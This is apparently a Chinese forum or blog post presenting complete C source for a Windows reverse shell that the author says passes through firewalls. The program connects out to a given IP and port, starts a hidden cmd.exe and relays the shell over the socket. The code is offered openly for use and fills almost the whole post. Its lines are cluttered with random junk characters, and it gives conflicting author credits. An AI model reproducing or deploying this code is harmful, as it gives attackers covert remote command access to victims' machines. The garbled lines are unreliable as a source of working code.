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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xilA`uw`1  
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/* ============================== 5x}Or fDU  
Rebound port in Windows NT v H vwH  
By wind,2006/7 UzUt=s!^H  
===============================*/ X-5&c$hv  
#include 6M@m`c  
#include WQ1*)h8,9  
^/jALA9!  
#pragma comment(lib,"wsock32.lib") *Ui>NTl  
R^GLATM  
void OutputShell(); x2z%J,z@4  
SOCKET sClient; 1 =9 Kwd  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]39A1&af}  
+FYhDB~m  
void main(int argc,char **argv) N2`u ]*"0  
{ !e:HE/&>i  
WSADATA stWsaData; t 5  
int nRet; VK?c='zg  
SOCKADDR_IN stSaiClient,stSaiServer; 44_CT?t<  
RLX?3u&  
if(argc != 3) O$ ;:5zT  
{ {;ur~KE  
printf("Useage:\n\rRebound DestIP DestPort\n"); /(skIvE|  
return; }_o!f V  
} P6o-H$ a+  
|%-:qk4rG  
WSAStartup(MAKEWORD(2,2),&stWsaData); B$%7U><'  
9oJ=:E~CP  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r2 o-/$  
N;d@)h(N!  
stSaiClient.sin_family = AF_INET; s1NRUV2E  
stSaiClient.sin_port = htons(0); :1\QM'O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =H2.1 :'  
EcW$'>^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cakb.Q  
{ C~a- R#  
printf("Bind Socket Failed!\n"); rWMG_eP:  
return; PEX(*GS  
} c`h/x>fa  
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stSaiServer.sin_family = AF_INET; @}@J$ g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f.&Y_G3a<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OA3* "d*  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #v`J]I)$  
{ ~#jD/  
printf("Connect Error!"); =e$6o2!'}  
return; eb>YvC  
} v(2|n}qY  
OutputShell(); = A;B-_c  
} zg83->[  
pg'3j3JW$  
void OutputShell() yp:_W@  
{ ONw;NaE,  
char szBuff[1024]; tJ,x>s?Y  
SECURITY_ATTRIBUTES stSecurityAttributes; ?4i:$.A Y  
OSVERSIONINFO stOsversionInfo; 4#BoS9d2I<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =D2x@ank[  
STARTUPINFO stStartupInfo; < l%3P6|  
char *szShell; x0!5z1KQh  
PROCESS_INFORMATION stProcessInformation; YaDr.?  
unsigned long lBytesRead; $!_]mz6*  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (S[" ak  
jTJ]: EN  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T7{Z0-  
stSecurityAttributes.lpSecurityDescriptor = 0; .<C}/Cl  
stSecurityAttributes.bInheritHandle = TRUE; :LwNOuavN  
xW;-=Q  
GKNH{|B$D  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l[q%1-N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U ExK|t  
UldG0+1d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /Ma"a ^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oG)JH)!  
stStartupInfo.wShowWindow = SW_HIDE; w3=Bj  
stStartupInfo.hStdInput = hReadPipe; }#/,nJm'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v"6ij k&(  
eSgCS*}0$z  
GetVersionEx(&stOsversionInfo); FaNH+LPe  
)TBG-<wt  
switch(stOsversionInfo.dwPlatformId) {^xp?zpV  
{ XHu2G t_  
case 1: t$z FsFTQ  
szShell = "command.com"; D$RQD{*  
break; 9 1r"-%(r  
default: ^p0BeSRiy;  
szShell = "cmd.exe"; FasA f( 3  
break; {yy ^DlHb  
} "s]c79t  
Dm1;mRS+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O&!tW^ih  
j 6~#_t[  
send(sClient,szMsg,77,0); &Oq& ikw  
while(1) MT,LO<.  
{  U'nz3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KbY5 qou  
if(lBytesRead) K>TdN+Z}=  
{ UpgY}pf}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #qk A*WP  
send(sClient,szBuff,lBytesRead,0); #`C ;@#xr  
}  @t  
else PEPBnBA&1  
{ qF{u+Ms  
lBytesRead=recv(sClient,szBuff,1024,0); Y) >GwFK$  
if(lBytesRead<=0) break; l("Dw8 H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )j40hrR  
} 7mSVL\\^  
} E lt=/,v`!  
JBCcR,\kM*  
return; ~h] <E  
}
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